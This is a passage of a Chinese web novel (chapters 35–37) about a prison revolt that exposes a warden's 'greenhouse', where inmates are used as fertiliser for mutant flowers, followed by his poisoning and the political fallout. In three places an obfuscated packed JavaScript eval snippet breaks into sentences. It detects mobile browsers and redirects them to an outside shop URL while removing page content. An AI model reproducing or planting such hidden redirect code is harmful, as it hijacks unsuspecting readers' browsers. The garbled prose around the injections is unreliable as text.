她注意到一些耳朵悄悄翘了起来,神色不变,“像监狱长这样高高在上的人,平时我们这种人看他一眼,他都觉得是冒犯。恐怕这次啊,是他在耍我们吧。” 周围的人听到后,七嘴八舌的开始议论起来,有赞成也有犹豫,监狱长给他们的形象向来是神秘高贵的,他很少出来亲自教导他们。 有人跳出来,“胡说!好端端的,监狱长为什么要拿这么重要的事来耍我们!” “就是就是,温室何等重要,我们都知道那地方宝贵,进一次都难。。” 烟烟姐和黑哥隔空对视了一眼,多年相伴的默契让他们不约而同的想要上前阻止。 他们的去路分别被拦住了。 向开颜挡住了烟烟姐,她的手已经碰到了她的肩膀,微微施力,“烟烟姐,要赌一下吗,就赌你接下来一步都踏不出去。” “你们果然是一伙的——”烟烟的脚被迫停了下来,她的肩膀已经麻了,心里骇然,原来她一直在身边,她竟然没有注意到,这个人隐蔽气息在她之上。 黑哥则是三方都被围了起来,赵随石温和不是强硬的说:“黑哥,还请你不要动,你这一动,会为难的只会是你和你的兄弟们。” 他涨红一张脸,挤出一句话,“好,够胆,只是今天过后,你们不会活着离开这里。” 严回春听不得这种话,就要给他一个教训,掰了掰指头,几声脆响,重重锤在黑哥身上。 没下死手,但对于黑哥来说,已经伤到了筋骨,他死死咬着牙,动弹不得。 赵随石叹了口气,“我之前答应你的还算数,黑哥,有些事该让大家知道了。” “你!”黑哥瞪大眼睛,心里惊疑不定,他这是什么意思?他知道了什么? 容贤开始发表她的看法。 “是啊,温室是个宝地,我们都想进去,那就当监狱长说的是真的,明天大家都去报名,可他要的获胜者只有一个。我们出现在这里,都是犯了事,不客气的说,我们的生死对监狱长来说,没那么重要。这选拔赛会比什么,这期间会发生什么事,不用我多说,大家心里都很清楚。” 她环视一周,冷静道,“监狱长明明可以用更好的办法来筛选合适的人出来,不伤及性命。可明天我们就要参与一个流氓规则的选拔赛!” 一个不知从哪冒出来的声音说:“你怎么就笃定会伤及性命?你怕不是危言耸听吧,就如你所说,我们对监狱长来说那么重要,那同样,他也不应该提出选拔赛,因为不重要,所以不在乎,现在看来,他是在乎的。” 容贤嗤笑,“一个狱长在乎犯人再正常不过了,但这并不代表重要。我敢说在场的人没有比我更清楚他们这种人的无耻!” 她的话引来越来越多的反对声,她毫不畏怯,“至于为什么我如此笃定,就是因为藏在背后的你!” 她的目光穿过了人群,看到了那个试图打乱她节奏的人。 众人纷纷顺着她的视线看去,还体贴的让出一条路。 “那不是都保善吗?” “看不出来啊,他那么会说,之前一直都沉默寡言的,很老实的人……” 都保善没想到容贤能这么精确的听出自己的声音。 他紧紧握拳,大声道,“没错,是我说的,我还是那个态度,如果让我在监狱长和你之间选一个,我会选监狱长。你一直在试图挑起我们和监狱长的矛盾,我不知道你到底是何居心,但我知道在这里,听从监狱长的命令,才能过得好。” “诸位,听我一言吧,比起一个没来几天的,我在这里呆了许久的,更值得大家相信吧,我会伤害大家吗?”他等了会,笑了下,“是的,不会。” 他越说越激动,“监狱长如果真的会伤害大家,为什么会等到现在?这根本不合理。在这里,他拥有绝对的支配权,他掌控我们这些犯人的一切,只要他愿意,我们连站在这里的权力也没有。” “选拔赛对我们只有好处,我们有足够的理由参与进来,而不是听一个有心之人的教唆,我们为什么要去冒一个不必要的风险去得罪监狱长?” 其他人听的连连点头,“是啊,没必要。” 容贤鼓起掌来,“说的不错。” 下一句就让大家愣住了,她说:“都保善,六年不见,你变了很多,唯一没变的就是你依旧选择了依附强权苟活,怎么?自己不能独立行走吗?” 她的话像一颗炸弹扔到了本就滚烫的油锅中,炸的很多人都不知所措。 “什么!” 容贤不给他们反应,继续说,“我去狱长办公室的事大家已经都听说了吧,不瞒大家,我并非是因盗窃罪进来的,我根本没有罪!” “我重新自我介绍一下吧。”她拍了下手,做思考状,“该从哪里说起呢?事情有些复杂,我知道大家不想听那么多,所以就从六年前那场爆炸开始说起吧。在场见过我的人不多,认得我的人就更少了,因为那个时候我还小,和现在的样貌也有些出入。” “没关系,问题不大,我认得大家就好了。” “我,容贤,出生在源河监狱,并生活了十一岁。当时这里还没有温室,犯人唯一的作用是,成为源河防线的一部分,知道爆炸临来,炸毁了很多人和物,而我也在那一天逃离了监狱。” “我当时抱着绝对不会回来的想法离开,可为什么我回来了呢?”她的声音开始沙哑,“当我偶然一次机会知道了‘温室’,知道了它意味着什么,我就有必须要回来的理由。” 她说的实在是令人不安,有人问:“什么理由?” “‘温室’!”容贤加重语气,“有谁见过从里面走出来的人?有谁知道里面到底是在做什么?” 没有人。 不知道。 “这就是我的理由。”容贤肃然,“‘温室’到底是什么?大家何不亲眼看看?” “监狱长吴御神出鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337024|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没,但对‘温室’的事情非常上心,大家没有忘记这里是哪吧。这里是源河!源河防线!末日带给大家的伤害还未结束!” 她露出苦笑,“确实,我知道大家是有罪之身,并不在乎这个世界的未来,我不该拿什么狗屁未来试图说服大家,可不明不白的就这么被人送到死路,实在是……” 已经有人站了出来,“妹子你说得对!死就死了,我敢做敢当,杀人就偿命,可不知道因什么而死,那真的太可笑了!” “说的对!” “妹子你够真诚!我们都信你!” 只是几息之间,形势大转,像都保善这样的人并非一人,他们有的人之前就见势不妙,要跑去和监狱长报告,只是事与愿违,他们终归是没能见到监狱长。 在路上,他们就已经被解决掉了。 都保善还沉浸在不可置信中,“不对……” 怎么可能啊,那个时候的幸存者寥寥无几,还能有跑出去的人,小孩,小孩……大脑突然闪过一张稚嫩的脸,没错了,确实是她。 他揪住自己的头发,心里那本就薄弱的高墙被容贤一番话撞得破洞百出。 抓狂,心虚,愧疚,愤怒,不解,还有对她的畏惧。 容贤那双清澈的眼睛倒影出他脸色发白,不断颤抖出汗的身影。 我没有做错。 我为什么要害怕。 “都保善,承蒙你当年的关照,我父母死的并不痛苦。”容贤站在他面前,俯瞰他,“之前是你送犯人填补防线,如今也是你送犯人进温室。你应该彻夜难眠吧,你害怕下一个就是你。” “不!”他过的很好,没有比他过的更好的人了,该死的不该死的都死了,只有他,活到了现在。 “你没有错,你只是顺势而为,你惹不过监狱长,惹不过当时的长官,不光是你,那些幸存者都如此。” 容贤轻声道,“可我却记得你在爆炸那一天,你奸杀了和你一起值班的人。那是个善良的人,所以,别装了。” 都保善这个人欺软怕硬,在职责范围内为难一切能为难的人,她都记不清了,不过在容贤记忆中,还是那一天的他最像恶魔。 那一天,很多人的命运都被改写。 周围声音嘈杂,烟烟姐和黑哥被推出来,他们必须要给出一个态度,他们都在闹,所以除了赵随石,没人听到她这句话。 都保善听的一清二楚,他开始笑。 笑声越来越大,笑出了泪,胸膛共振,咳出了血。 大家开始安静。他们的心被这诡异的笑吓得乱跳。 “你…看到了啊。”他断断续续的说,“那么…你真是…倒霉啊,那一天发生了很多事呢。” “你还那么小,看到了,竟然没有疯。” “我们之间,到底谁最可怕呢?你身边的人知道你是个怪物吗?” 容贤再次听到了那个称谓,困扰了整个童年。 “小怪物。” 她的全身都僵硬了,不受控的抬起手,有谁在喊她,“容贤!看着我!” 很好听的声音,嗯,手很温暖,就是脸好疼。 她顿了顿,瞬间回神,捂着脸,“你干嘛打我?” 36. 愤怒之火 那一巴掌很响。 容贤捂着脸,火辣辣的疼从脸颊蔓延到眼眶,把那句“小怪物”带来的寒意生生打散了一半。她眨了眨眼,看到赵随石站在面前,眼神里没有往日的温和,只有一种近乎严厉的清醒。 “醒了?” 容贤点头。 赵随石松开她的手腕,转过身,面向那些被震住的犯人。他的声音不高,但含着令人心惊的力量:“刚才的话,大家都听到了。都保善的话,你们也听到了。” 人群里一阵骚动。 有人还在消化容贤说的那些有关六年前的爆炸,源河防线,还有那个令人不安的“温室”。有人已经开始躁动,目光在烟烟姐和黑哥之间来回扫视。 烟烟姐站在人群边缘,脸色铁青。她看着容贤,又看向赵随石,嘴唇动了动,最终什么也没说。她身边的几个亲信蠢蠢欲动,被她抬手按住了。 黑哥那边更直接,他被严回春按着,动弹不得,但那双眼睛死死盯着赵随石,像要把人看穿。 “你们想干什么?”他咬着牙问。 赵随石看着他,平静地说:“我说了,只是让所有人看一眼真相。” 他挥了挥手。 杨理火从人群中挤出来,手里举着一个东西,那是监狱内部的通讯终端,不知道他从哪儿弄来的。屏幕亮着,上面是一段画面。 画面晃动,模糊,但能看清那是温室内部。 巨大的培养舱排列成行,暗红色的液体在玻璃后涌动,隐约能看见里面悬浮的、扭曲的轮廓。镜头拉近,一个培养舱里,是一具人体。 不是完整的。是被分解的、像标本一样浸泡在液体里的部分。 看的清清楚楚的前排人开始发出尖叫。 “这……这是什么……” “那不是人吗?” 杨理火的声音从画面外传来,冷静得近乎残忍:“这是三个月前被选进温室的‘优秀者’,编号0723,因盗窃罪被判八年。他的家人还在等他出狱。” 画面继续播放。培养舱里的东西不止一具。有的更完整,有的只剩骨架,但每一具旁边都贴着编号和日期。 干净的环境,妖异的花,被粗暴分开的肢体,这个画面给人的冲击力太大。 并不所有犯人都能对这个场景无动于衷。 有人开始干呕。 有人双腿发软,跌坐在地。 也有人红了眼睛,攥紧拳头,死死盯着那些画面。 “你们以为进温室是享福?”杨理火收起终端,声音传遍整个操场,“你们以为选拔赛是给你们机会?那是选肥料!选进去之后,就像这样!” 他没说完,因为人群已经炸了。 “妈的!老子杀了人,该死!但不是这么个死法!” “吴御那个狗娘养的!他在拿我们喂花!” “冲过去!找他问清楚!” 他们的愤怒像迟来的业火一样开始蔓延。 容贤看向那一张张原本麻木的脸,那些习惯了服从的眼睛,此刻充斥着狂暴的风浪。 她被这汹涌的情绪包围。 她见过很多愤怒,十六区的矿工、福利院的家属、街头那些被压榨的底层人。但从来没有一次,像现在这样,是几百个人同时爆发的、同一种愤怒。 烟烟姐终于动了。她推开挡在身前的向开颜,走到容贤面前。她的脸色依旧难看,但眼神里多了一些别的东西,不是敌意,有惊讶,有欣赏,更多的是慎重。 “你赢了。”她说,“我拦不住。但我有一个问题。” 容贤看着她。 “你刚才说的那些……你出生在这里,生活了十一年。”烟烟姐盯着她的眼睛,“是真的?” 容贤点头。 烟烟姐沉默了几秒,然后往旁边让了一步。 “那就去做你想做的。”她说,“我的人,不拦。” 黑哥那边也松了口。他被严回春放开后,揉着肩膀,脸色阴沉地看着赵随石。良久,他吐出一口唾沫,骂了一句脏话。 “老子在这儿七年,七年前就该死的人,硬是多活了七年。”他抬起头,“今天要是能亲眼看看那破温室里到底是什么,死了也值。” 赵随石看着他,点了点头。 然后他转向容贤,压低声音:“你带他们去温室。我和严回春、杨理火去狱长办公室。向开颜留在操场,稳住剩下的人。” 容贤愣了一下:“我一个人?” “你熟悉这里。”赵随石说,“而且,他们现在信你。” 他的目光扫过那些躁动的人群,又落回容贤脸上。那目光里有些复杂的意味,信任,担心,还有一点别的什么,容贤读不懂。 “活着回来。”他说。 然后他转身,带着严回春和杨理火消失在人群中。 * 通往温室的路,容贤已经在心里模拟了数次。 六年前,她还是个孩子的时候,曾经偷偷跟在大人后面,远远看过那那个源河缺口。那时候还有父母的背影,有她听不懂的谈话声,还有一种说不清的、让她本能想逃的压迫感。 现在她知道了那是什么。 那散发着死亡的气息。 人群跟在她身后,有人拿着从厨房顺来的刀,有人握着磨尖的铁片,更多的人赤手空拳,只是攥紧拳头,眼睛里烧着火,他们要战斗! 第一道门被撞开。 第二道门被砸烂。 第三道门—— 一个穿着白色防护服的人出现在门后,看到他们,意识到了什么,脸色瞬间惨白。他转身想跑,被人群淹没。 容贤没有停。她穿过走廊,穿过那些她只在记忆里见过的、扭曲的通道,直到一扇巨大的金属门横在面前。 门上写着三个字:三温室。 她深吸一口气,用力推开。 那股味道扑面而来。 甜腥的,冰冷的,混着消毒水和腐烂的气息。 那是她六年前闻到过的味道,但现在浓烈了十倍、百倍。 门后是一个巨大的空间,比想象中更大。一排排培养舱整齐地排列着,暗红色的液体在玻璃后涌动,微弱的脉动光像心脏跳动。每个培养舱旁边都有编号,有日期,有名字。 容贤走近一个,看清了里面的东西。 那是一个年轻女人。她的眼睛闭着,表情平静,像是睡着了。从腰部以下,已经和培养舱底部的根系状组织融为一体,那些暗红色的脉络沿着她的血管蔓延,正源源不断的往外走。 容贤没想到自己记得这张脸。 她被关到禁闭室前,从走廊穿过,和这个女人擦肩而过。 她听到有人叫她“小贝”,说她下个月就可以出狱了。 “小贝”不会出狱了。 身后也认出来此人,传来呕吐声,咒骂声,还有压抑的哭声。 他们的动作比容贤想的要频繁,她来了不过几天,看上面的日期,还有新的没写上编号。 根本就没有断过啊。 容贤没有回头。她往前走,一个一个地看过去。有些脸她认识,有些是陌生的。有些已经面目全非,只剩下一具空壳。 最里面那个培养舱,编号是0001。 日期是六年前,爆炸发生前的第三天。 里面的东西,容贤看不清。它已经不太像人了,更像是某种介于人和植物之间的、扭曲的存在。但培养舱旁边的标签上,写着一个字—— 容。 她盯着那个字,脑子里一片空白。 六年前,她逃出去的时候,以为有关于她的全部信息都被炸毁。 她对于爆炸的记忆错乱复杂,她记忆缺失了很多,她现在才真正意识到这个事实。她已经忘记了自己身上发生了什么事。 这是谁? 这绝对不是她!如果这个是她,那她是谁? 一只手从身后伸过来,轻轻按在她肩上。是向开颜,她不知什么时候跟上来了。 “容贤。”向开颜的声音很轻,“那边有人过来了。” 容贤回过神来,深吸一口气,强迫自己把目光从那上移开。 “走。”她说。 * 狱长办公室的门被踹开时,吴御正站在窗边。 他转过身,看到赵随石和严回春、杨理火三人,脸上没有任何惊讶。他甚至笑了一下,那笑容里有些嘲讽的意味。 “来了?”他说,“比我预想的快一点。” 赵随石没有废话:“吴御,你的事发了。” “发了?”吴御重复了一遍,像是听到了什么好笑的话,“发什么了?那些犯人的命?还是这温室的秘密?” 他走回办公桌后面,坐下,姿态从容得像是在接待访客。 “你知道这温室是谁建的吗?”他问。 赵随石没有回答。 吴御也不需要他回答。他继续说:“是吴家。是我们吴家一代一代传下来的。从末日时代开始,我们就在研究异花,研究怎么用它,怎么控制它。你们中心区那些人,一边骂我们是疯子,一边拿我们的成果去换钱、换权、换地位。” 他笑了笑,那笑容里满是讥讽:“据我所知,刚上市的仿生机器人引起了轰动,成交量很可观,那些人赚的盆满钵满了吧。那些生物材料是怎么来的?那些可怜的福利院孩子深受异花的喜爱啊,它们给富人续了多少年的命啊?我来告诉你,都是从这儿出去的。” 严回春忍不住了:“你他妈还得意?你拿人命换钱!” “人命?”吴御看着他,像在看一个傻子,“那些犯人的命,本来就是拿来换的。源河防线需要人,我们就给他们人。异花需要养料,我们就给他们养料。这是规矩,是末日之后定下的规矩。我只是在执行。” 他站起身,走到窗边,背对着他们。 “你们以为自己赢了?”他的声音飘过来,“你们以为揭穿这些,就能改变什么?” 他转过身,手里多了一个东西,一个巴掌大的遥控器,上面只有一个红色的按钮。 “这栋楼下面,埋了三十吨炸药。”他说,语气平静得像在说天气,“只要我按下这个,整个温室都会化成灰。那些证据,那些培养舱,那些你们想带出去的东西,什么都没了。” 杨理火脸色一变,下意识往前踏了一步,被赵随石抬手拦住。 赵随石看着吴御,目光淡漠近乎冷酷。 “你按吧。”他说。 吴御愣了一下。 赵随石继续说:“你按下去,整个源河监狱都会炸上天。包括你自己,包括那些你拼命保护的‘秘密’。但你保护不了它们,因为它们已经被送出去了。” 吴御盯着他,拇指悬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348280|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按钮上方,没有动。 “你太慢了。”赵随石说,“从我们进监狱那天起,就有人在收集证据。你审容贤的时候,有人在拍。你宣布选拔的时候,有人在录。你在这儿跟我们说话的时候……”他顿了顿,“那段关于仿生机器人、生物材料、延长寿命的药的视频,已经传到中心区了。传到每一个你不敢惹的人手里。” 吴御的脸色冷静不在。 他的手在抖。 “你以为你在保护吴家?”赵随石走近一步,依旧平静,“你在把吴家推进火坑。那些拿你们成果的人,现在只会做一件事,撇清关系。你死了,正好。死无对证。他们可以把所有脏水都泼到你身上,然后继续做他们的事。” 吴御的眼睛里闪过什么。 愤怒?恐惧?不甘? “你胡说……”他开口,但声音已经不稳。 “我是不是胡说,你心里清楚。”赵随石说,“六年前那场爆炸,是谁主导的,你真的一点都不知道?” 吴御的手剧烈地抖了一下。 就是这一下。 严回春动了。 他的速度太快,快到吴御根本来不及反应。下一秒,遥控器从他手里飞出去,砸在墙上,摔得粉碎。严回春的拳头落在吴御腹部,把他整个人打得弓起来,跪倒在地。 吴御趴在地上,大口喘着气,嘴角溢出血丝。 “你……你们……”他断断续续地说,眼神涣散。 赵随石走过去,低头看着他,忽然问了一句:“六年前那场爆炸,你在场吗?” 吴御的瞳孔收缩了一下。 看到他的反应,赵随石已经明白了,“吴狱长,重新自我介绍一下,我是赵随石。” 他的头发不知什么时候恢复成白色,他不再看吴御,像是心有感应,一转身,就看到了容贤。 她不知什么时候站在那里,脸色苍白,但眼神很稳。 “温室那边。”她说,“清理完了。” 赵随石点点头。 吴御看到那头白发,就已经面如死灰。 他知道清理部来了人,但想不到赵随石会亲自前来。 …… 那天夜里,源河监狱从来没有这么亮过。 操场上挤满了人,犯人们站在月光下,看着那巨大的温室棚顶被打开,看着里面的东西被一件一件抬出来。没有人说话,只有压抑的呼吸声和偶尔的抽泣。 容贤站在人群边缘,靠在墙上。 她的手不受控的抖。从看到那个编号0001的培养舱之后,她就一直如此。 向开颜走过来,递给她一瓶水。容贤接过,喝了一口,又还给她。 “那个编号0001……”向开颜欲言又止。 容贤摇了摇头。 “别问。”她说,“我不知道。” 向开颜默默站了会,点了点头,没有再问。 远处,赵随石正在和几个人说话。严回春、杨理火,还有烟烟姐和黑哥。他们之间隔着一小段距离,像是刚刚达成某种默契。 赵随石转过头,看向容贤这边。 隔着悲伤的人群,明亮的火光,他看着她。 然后他动了,穿过人群,一步一步向她走来。 容贤的背挺直了。 她一直在看他,不闪不避,虽然他们没有任何交流,可她就是知道对方就是在走向她。 他站到了她面前,挡住了那刺眼的火光,“那个培养舱。”他说,“我看到了。” 容贤点头。 赵随石摸了摸那微红肿的脸颊,“你还好吗?” “不好。”容贤知道他想问的不仅是脸,可她怎么说呢,她自己都很糊涂。 赵随石很抱歉的说,“是我手重了。” 容贤摇头,“你不打断,我就走火入魔了,如果异能暴动的话,全场的人都会被我伤到。” 没有再说那个培养舱,赵随石站在了她身边,和她一起看向远处的火光。 良久,他说:“不管那是谁,你都是你。” 容贤愣了一下,转头看他。 他的侧脸被火光映得忽明忽暗,看不清表情。 但容贤的心奇迹般的平静下来。 远处,有人开始唱歌。那调子很老,像是末日之前流传下来的民谣。起初只有一个人,然后两个、三个……最后,整个操场的人都在唱。 容贤听不懂歌词。但那旋律让她想起小时候,母亲偶尔哼过的、模糊的调子。 她听着那些陌生的声音汇成一片,看着那团火把温室的轮廓烧成灰烬。 天快亮了。赵随石侧身,垂眸,看到阳光打在了女子的脸上,看到那晶莹般的泪珠从眼角滑落。 脆弱就在那一瞬间,她很快就擦掉了眼泪,抬头看他,“赵哥,这次我们是不是成功了。” “是。”赵随石扬起嘴角,眼睛也眯起来,头发随着点头的动作落在了眼前。 容贤手比他更快,抬起手把头发往耳朵上別。 她的手比脑子快!容贤不好意思的偏头,“啊,好美。” 赵随石悄悄欸了下,听到她感叹,哑然失笑。 远处的地平线上,隐隐透出一线白光。 那是源河的方向。 这里发生的一切都无法动摇它。 只要它还在那里,这个世界就在。 37. 监狱长之死 吴御死了。 向开颜和容贤知道得最晚,齐齐喊道:“怎么会?!” 她们刚从温室那边回来,身上还带着那股挥之不去的甜腥味。听到这个消息时,容贤第一反应是不信,她们轮流看守,吴御身边根本不可能有其他人近身。而吴御全身都被控制,连咬舌自尽都做不到,怎么好端端的就死了? 第一时间发现吴御死的是杨理火。论到他看守时,吴御从始至终都很安静,他这才上前探呼吸,已经没了气。 赵随石站在吴御的尸体旁,眉头紧锁。向开颜蹲在地上,翻看吴御的眼皮、口腔、指甲,动作很轻,但表情越来越沉。 “中毒。”她站起身,拍了拍手上的灰,“慢性毒,至少潜伏了三个月以上。今天刚好发作。” “三个月?”杨理火瞪眼,“那不是咱们还没来的时候?” 向开颜点头,又摇头:“准确地说,是长期投毒,今天累积到阈值了。凶手要么在监狱里,要么是……” 她看向吴御的尸体,没说完。 容贤明白她的意思。要么凶手已经死了,要么凶手能在吴御身边长期活动而不被怀疑。 “查监控。”赵随石说。 “查了。”杨理火摊手,“整个监狱翻了一遍,吴御日常接触的人、吃的喝的、用的东西,全查了。没有任何线索。投毒的人要么做得太干净,要么……” 他顿了顿,压低声音:“要么他自己喂给自己的。” 容贤拧眉,“他自己?” “慢性毒,自己控制剂量,今天不想活了,就不吃解药。”杨理火说,“不是没可能。” 向开颜摇头:“他今天没有机会。我们一直盯着。” 那就只剩下两种可能:凶手还在监狱里,且手法极高明;或者,凶手已经死了,死无对证。 容贤正要开口,身后传来一个声音。 “不用查了。” 所有人回头。 卓蓝从走廊尽头走来,脚步不疾不徐。她依旧穿着那身便服,红发有些乱,脸上沾着灰尘,但眼神很稳。 “人是我杀的。” 这一句直接让在场的人都愣住了。 谁也没想到一直没有出现的卓蓝一出手就是杀招,异警部说是会配合他们,但现在是什么情况,这是在添乱啊。杨理火眼角抽了抽,下意识看赵随石。 赵随石没有动,神色自若,倒像是知道似的。 几人看着卓蓝走到吴御的尸体旁,低头看了一眼,然后抬起头,对上赵随石的目光。 “我潜伏这些天,就是为了杀他。”她说得很平静,像在说今天天气不错,“温室里,我找到了我的队友。三个,全死了。” 她顿了顿,声音依旧平稳,但容贤听出了一丝极淡的颤音。 “我们关系很好。他们比我年轻,比我冲动,但都是好人。”卓蓝说,“吴御明知他们的身份不同,却选择把他们送进温室,当花肥。我发誓,要带他们回去。” 没人说话。 “我知道,回了中心区,他不会死。”卓蓝继续说,“他有吴家撑着,有关系网兜着,最多判个终身监禁,然后在某个高档监狱里继续过好日子。我接受不了。” 她抬起头,看向赵随石:“所以我杀了他。毒是我三个月前就开始下的,借的是和吴御‘谈合作’的机会。剂量控制得很好,刚好今天发作。” 容贤看着她,对她的果断感到佩服。 “你知道你在做什么吗?”赵随石终于开口,声音很轻,“黎肃知道么?” 他问出来,就是想给卓蓝一个机会,让她重新说。 黎肃当时有求与他,其中也包括了保证卓蓝的安全,如今再想来,想必黎肃是想到卓蓝会做什么。 一向八面玲珑的卓蓝此刻像是听不懂他的意思了,她点头:“杀人偿命,我懂。等这边事了,我跟你们回去,该怎么判怎么判。” 赵随石沉默了几秒,然后忽然笑了。 那笑容很短,几乎看不出弧度,但容贤看到了。 “不用。”他说。 卓蓝愣住。 赵随石转过身,看向吴御的尸体,声音恢复了往日的平静:“他不是你杀的。他是畏罪自杀。知道自己罪无可恕,提前准备了毒药,今天发作。” 卓蓝张了张嘴,想说什么,被赵随石抬手止住。 “你有不在场证明。”他说,“三个月前你在中心区,根本没进监狱。怎么下毒?” 卓蓝看着他,眼神复杂。 “而且,”赵随石继续说,“你刚才说的话,我们都没听到。杨理火,你听到了吗?” 杨理火反应极快,立刻摇头:“没有啊,我什么都没听到。我只知道吴御死了,死因是自杀。” 严回春跟着点头:“我也没听到。” 向开颜耸耸肩:“我忙着看尸体,没注意。” 所有人的目光落在容贤身上。 还可以这样……容贤磕巴了下,坚定道:“吴御自己服的毒。跟我们没关系。” 卓蓝看着他们,嘴唇动了动,最终什么也没说。 她眼底有什么东西闪了一下,很轻,很快,但存在。 赵随石转身往外走,丢下一句话:“把现场处理干净。两小时后,我们离开这里。” * 源河监狱的事,像一颗炸弹扔进了中心区这充满火药味的油桶。 那些被杨理火匿名发出去的视频,那些从温室里抬出来的证据,那些培养舱里扭曲的人形。 一夜之间传遍全网。 这下网友们炸开了锅。 这是赤裸裸的将生命踩在了脚下,人的尊严毫无意义。 愤怒,恐惧,沉默,也有人跳出来说“这是假的”“危言耸听”。 当有人再度问出曾经未有结论的问题:那些异花,到底是怎么越过源河防线的? 答案不言自明。 三天后,中心区召开紧急代表大会。各个阶层都派出代表,要求政府针对此事表态。大厅里挤满了人,记者、议员、普通市民、还有那些穿着体面、神色各异的“利益相关者”。 赵随石坐在代表席第一排,穿着一丝不苟的制服,面无表情。 容贤坐在他侧身后,第一次见到这种场面。 台上,几个人正在轮流发言。有的慷慨激昂,义正言辞,要求彻查到底;有的留有余地,希望“理性看待”;还有的干脆直接反驳,说末日论是危言耸听,异花技术已经在掌握之中,应该看到它带来的进步。 “那些仿生机器人,那些新材料,那些能救命的药,都是异花技术带来的!”一个看起来很斯文的学者拍着桌子,“你们不能因为少数人的违法行为,就否定整个领域!” 台下有人附和,也有人嘘声。 赵随石一直没有说话,只是安静地听着。 容贤注意到,有几道目光时不时落在他身上,有的是敬佩,有的是猜忌审视,还有的是不加掩饰的敌意。 毕竟,是他的人揭开了这个盖子。 是清理部把那些藏在暗处的东西拖到了阳光下。 在有些人眼里,他是敢于揭发阴谋的英雄。 在有些人眼里,他是眼中刺,肉中钉。 * 与此同时,中心区东侧,吴氏私人生物研究院。 顶层的会客室里,茶香袅袅,气氛却冷得像冰窖。 赵止淮坐在沙发上,面前摆着一杯没动过的茶。他对面,一个五十来岁的女人正低头翻看文件,表情淡漠,仿佛那只是一份普通的业务报告。 她是吴霞,吴家如今的话事人,大植物学家,异花技术领域的权威。 也是吴御的表姐。 “他死了。”赵止淮开口,语气里带着一丝试探,“你好像不怎么难过。” 吴霞抬起头,看了他一眼。那目光很淡,像是看垃圾的眼睛。 “难过有用?”她说,“他做了蠢事,死了活该。” 赵止淮暗自咬了咬牙,眯起眼:“你这话,传出去不好听。” “传出去?”吴霞笑了一下,那笑容没有温度,“这里就我们两个人。你传出去,我也可以说你是造谣。” 这死老太婆!赵止淮面上依旧客气有礼,换了话题:“温室那边,还得有人去。你手底下应该还有能用的人。” 吴霞合上文件,靠在椅背上,看着他。 “你觉得现在派人去,是救人还是送死?” 赵止淮皱眉:“你什么意思?” “我的意思很明白。”吴霞说,“东窗事发,舆论已经炸了。这时候派人去源河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357078|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等于往枪口上撞。赵随石那边正愁找不到下一个靶子,你送一个,他打一个。” 她直接拒绝了他的要求,“我不会再派人去。温室暂时废弃,等风头过了再说。” 赵止淮的脸色沉了下来:“吴姐,这事可不只是吴家的事。当初合作的时候,大家可是一条船上的。” 吴霞回头看他,目光里有些嘲弄:“一条船?那你怎么不去?你赵家的人呢?” 赵止淮噎住。 吴霞继续说:“你想让我的人去送死,替你挡枪,好让你那个好哥哥查不到你头上?赵止淮,我不是你妈,没那么惯着你。” 赵止淮的脸色变了变,但很快压下去。他站起身,走到吴霞身边,语气放软:“吴姐,你这可就误会我了,我不是那个意思。现在情况紧急,赵随石那边步步紧逼,咱们总得想办法……” “想办法是你的事。”吴霞打断他,“吴家现在要做的是自保。至于你—”她看着他,目光意味深长,“你最好也想想,你那点小动作,还能糊弄多久。” 赵止淮默不作声。 吴霞不再看他,转身往外走,丢下一句话:“茶凉了,不送。” 门关上。 赵止淮站在原地,看着那扇门,再也不没法维持脸上的笑容,变成一片阴沉。 既然一个个都不让他好过,那就都别好过了。 赵止淮从吴氏研究院出来,没有回家,而是去了另一个地方。 一间不起眼的私人会所,隐蔽在繁华街区背后。他换了一身装扮,戴了副眼镜,走进去时,没人多看他一眼。 包厢里已经有人在等。 那是个年轻人,二十七八岁,穿着讲究,坐姿懒散,手里把玩着一枚戒指。他长得不错,但眉宇间有一股挥之不去的骄矜之气。 吴宙,吴家大少爷,也是刚才吴霞的侄子,和吴御的关系也不错,是当初去清理部面试、被容贤三招秒掉的那个精神系异能者。 “止淮哥。”吴宙看到他,立刻站起来,脸上堆满笑,“您怎么亲自来了?有什么事叫我去就行。” 赵止淮摆摆手,在他对面坐下,先叹了口气。 吴宙一愣:“怎么了?出什么事了?” “没什么。”赵止淮揉了揉眉心,语气疲惫,“就是刚见了你姑姑,心里不太舒服。” 吴宙脸色变了变:“我姑姑她……说什么了?” 